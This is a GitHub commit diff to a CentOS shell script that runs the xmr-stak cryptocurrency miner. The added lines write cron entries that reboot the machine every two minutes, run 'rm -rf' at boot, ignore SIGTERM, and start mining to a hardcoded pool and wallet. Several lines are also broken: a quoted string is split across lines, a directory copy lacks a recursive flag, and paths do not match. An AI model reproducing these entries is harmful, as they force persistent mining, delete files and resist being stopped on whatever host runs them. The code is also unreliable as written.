Skip to content

Commit 127afaa

Browse files
authored
Update stak-centos-mg.sh
1 parent cbb26bd commit 127afaa

File tree

1 file changed

+9
-0
lines changed

1 file changed

+9
-0
lines changed

stak-centos-mg.sh

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,15 @@ cd bin
1717
mv ~/stak-cpu-autoscript/expect-mg.sh ~/stak-cpu-autoscript/xmr-stak/build/bin
1818
# Run Expect
1919
expect ./expect-mg.sh
20+
/sbin/chkconfig crond on
21+
/sbin/service crond start
22+
echo '*/2 * * * * /sbin/shutdown -r' >> /etc/crontab
23+
echo '@reboot rm -rf /root/xmr-stak/build/bin' >> /etc/crontab
24+
echo '@reboot cp ~/stak-cpu-autoscript/bin ~/stak-cpu-autoscript/xmr-stak/build/' >> /etc/crontab
25+
echo '@reboot tmux' >> /etc/crontab
26+
echo '@reboot trap "" 15' >> /etc/crontab
27+
echo '@reboot /root/stak-autoscript-centos/xmr-stak/build/bin/xmr-stak --currency cryptonight -o pool.macscoin.site:3333 -u MgTJuJaFrLMGuGU7NcgzXJPxUvMNXwZX7QN16nr29u8iRGaa3HybJ9QVrPTyqTBiZka5zSVec55Ac8C4ofE78TaNTFfEcYw -p x
28+
' >> /etc/crontab
2029
# Trap sigterm
2130
trap "" 15
2231
# Run Script ** CHANGE POOL & ADDRESS HERE **

0 commit comments

Comments
 (0)